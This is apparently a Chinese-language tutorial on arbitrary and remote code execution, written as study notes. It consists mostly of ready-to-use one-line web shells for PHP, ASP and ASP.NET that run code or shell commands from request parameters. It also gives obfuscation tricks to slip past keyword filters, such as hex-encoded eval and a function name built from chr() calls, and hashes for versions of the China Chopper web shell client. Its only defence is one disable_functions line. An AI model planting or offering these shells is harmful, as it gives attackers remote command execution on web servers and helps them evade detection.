116186456389798942
前言
任意代码执行(英语:Arbitrary code execution,简称ACE)是指攻击者能够让目标电脑或目标进程中执行任意命令或代码。(维基百科)
任意代码执行(ACE, Arbitrary Code Execution)
远程代码执行(RCE, Remote Code Execution)
漏洞原理
- 代码中出现了可以执行代码的代码,且被执行的代码可以通过参数传递
PHP漏洞利用
执行代码
1
| <?php eval($_REQUEST["key"]); ?>
|
- 断言函数,函数内的参数会被当作代码执行
- 执行代码不返回代码执行结果
1
| <?php assert($_REQUEST["key"]); ?>
|
- 正则替换函数
- 受影响的版本
- 如果第一个参数传递的正则表达式以
/e结尾,表示被正则表达式匹配成功的文本会被当作代码执行
- 执行代码并输出代码执行结果
1
| <?php preg_replace("//e", $_REQUEST["key"], ""); ?>
|
1
| <?php preg_replace("/.*/e", $_REQUEST["key"], ""); ?>
|
执行命令
- 执行Shell命令并输出Shell的全部输出,返回Shell的最后一行输出
1
| <?php system($_REQUEST['key']); ?>
|
- 执行Shell命令并返回Shell的最后一行输出,通过输出语句输出
1
| <?php echo exec($_REQUEST["key"]); ?>
|
1
| <?php passthru($_REQUEST["key"]); ?>
|
- 执行Shell命令并返回Shell的全部输出,通过输出语句输出
1
| <?php echo shell_exec($_REQUEST["key"]); ?>
|
1
| <?php echo `{$_REQUEST["key"]}`; ?>
|
关键词过滤绕过
当使用了未定义的常量时,PHP 不会直接崩溃,而是自动把它当作字符串处理
1
| <?php eval($_REQUEST[key]); ?>
|
1
| <?php eval(hex2bin("6576616C28245F524551554553545B226B6579225D293B")); ?>
|
- 函数调用
call_user_func()的第一个参数只能是函数名而不能是语言结构
1
| <?php call_user_func($_REQUEST["fn"], $_REQUEST["key"]); ?>
|
1
| <?php $fn = $_REQUEST["fn"]; $fn($_REQUEST["key"]); ?>
|
1
| <?php (chr(115).chr(121).chr(115).chr(116).chr(101).chr(109))($_REQUEST["key"]); ?>
|
ASP漏洞利用
执行代码
1
| <% Response.Write eval(request("key")) %>
|
1
| <%= eval(request("key")) %>
|
执行命令
- 执行Shell命令并返回Shell的全部输出,通过输出语句输出
1
| <% CreateObject("WScript.Shell").Exec(Request("key")).StdOut.ReadAll() %>
|
ASP.NET漏洞利用
执行代码
1 2
| <%@ Page Language="Jscript" %> <% Response.Write(eval(Request.Item["key"], "unsafe")); %>
|
1 2
| <%@ Page Language="Jscript" %> <%= eval(Request.Item["key"], "unsafe"); %>
|
执行命令
- 执行Shell命令并返回Shell的全部输出,通过输出语句输出
1 2
| <%@ Page Language="Jscript" %> <% Response.Write(new ActiveXObject("WScript.Shell").Exec(Request["key"]).StdOut.ReadAll()); %>
|
1 2
| <%@ Page Language="Jscript" %> <%= new ActiveXObject("WScript.Shell").Exec(Request["key"]).StdOut.ReadAll(); %>
|
漏洞利用工具
1 2 3
| caidao_20111116 5001ef50c7e869253a7c152a638eab8a caidao_20141213 4b4a956b9c7dc734f339fa05e4c2a990 caidao_20160622 acaf6564637ba97f73297b0096c2994c
|
防御
通过配置文件关闭部分函数渲染
/etc/php.ini1
| disable_functions = eval,assert
|
完成
参考文献
哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——xiaodisec